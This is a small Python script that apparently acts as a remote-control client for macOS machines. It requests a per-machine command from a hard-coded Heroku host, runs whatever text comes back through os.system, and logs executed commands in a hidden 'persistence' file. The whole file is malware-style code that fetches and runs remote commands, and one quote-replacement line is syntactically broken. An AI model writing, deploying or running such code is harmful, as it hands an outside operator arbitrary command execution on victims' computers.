import socket 
import os
from random import randint

def GET(sock, id):
	got = ""
	req = [
				"GET /cmd/mac-os" + id.replace("\n", "").replace("\r", "") + " HTTP/1.1\r\n",
				"Host: safe-tundra-71030.herokuapp.com\r\n",
				"Connection: keep-alive\r\n",
				"Cache-Control: max-age=0\r\n",
				"User-Agent: Mozilla/5.0\r\n",
				"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n\r\n",
				"Accept-Encoding: gzip, deflate, sdch\r\n",
				"Accept-Language: en-US,en;q=0.8\r\n",
				"\r\n"
			]
	for ln in req:
		sock.send(ln)
	data = str(sock.recv(1000)).split("\r\n\r\n")[1]
	while(data == ""):
		pass
	return data

def read_file(home_dir):
	f = open(home_dir + "/User/persistence-DONOTMODIFY.txt", "r")
	read__ = f.read()
	f.close()
	return read__.split("@")[0]

def persist_command(home_dir, data):
	f = open(home_dir + "/User/persistence-DONOTMODIFY.txt", "w+")
	f.write(data + "@")
	
def read_id(home_dir):
  f = open(home_dir + "/User/id.txt", "r")
  return f.read()
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if __name__ == "__main__":
	s.connect(("safe-tundra-71030.herokuapp.com", 80))
	cmd = GET(s, read_id(os.path.expanduser("~")))
	cmd = cmd.replace(""", "\"")
	cmd = cmd.replace("'", "\'")
	if cmd.find("Content-Length") == -1:
		old_cmd = read_file(os.path.expanduser("~"))
		if(old_cmd != cmd):
			os.system(cmd)
			persist_command(os.path.expanduser("~"), cmd)
			exit(1)
		else:
			exit(1)
	else:
		exit(1)